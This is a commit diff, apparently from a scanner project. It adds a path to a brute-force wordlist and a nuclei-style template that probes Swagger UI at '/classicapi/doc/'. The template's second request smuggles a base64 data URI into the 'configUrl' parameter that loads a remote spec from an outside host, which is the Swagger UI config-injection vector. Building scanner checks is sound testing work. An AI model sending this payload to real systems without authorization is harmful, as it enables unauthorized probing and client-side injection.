x 2023-02-09

Author: hktalent

brute/dicts/filedic.txt

@@ -102,6 +102,7 @@
 /apps/frontend/modules/main/templates/loginSuccess.php
 /apps/frontend/modules/main/validate/login.yml
 /auth/login
+/classicapi/doc/
 /auth/login/github
 /auth/login/google
 /auth/login/sentry/

config/51pwn/swagger.yaml

@@ -0,0 +1,29 @@
+id: swagger_51pwn
+
+info:
+  name: swagger api
+  author: 51pwn
+  severity: critical
+  description: |
+    swagger api
+
+requests:
+  - raw:
+      - |
+        GET /classicapi/doc/ HTTP/1.1
+        Host: {{Hostname}}
+      - |
+        GET /classicapi/doc/?configUrl=data:text/html;base64,ewoidXJsIjoiaHR0cHM6Ly9leHViZXJhbnQtaWNlLnN1cmdlLnNoL3Rlc3QueWFtbCIKfQ== HTTP/1.1
+        Host: {{Hostname}}
+
+    matchers-condition: or
+    stop-at-first-match: true
+    matchers:
+      - type: word
+        words:
+          - 'swagger.yaml'
+        condition: and
+      - type: word
+        words:
+          - 'exuberant-ice.surge.sh'
+        condition: and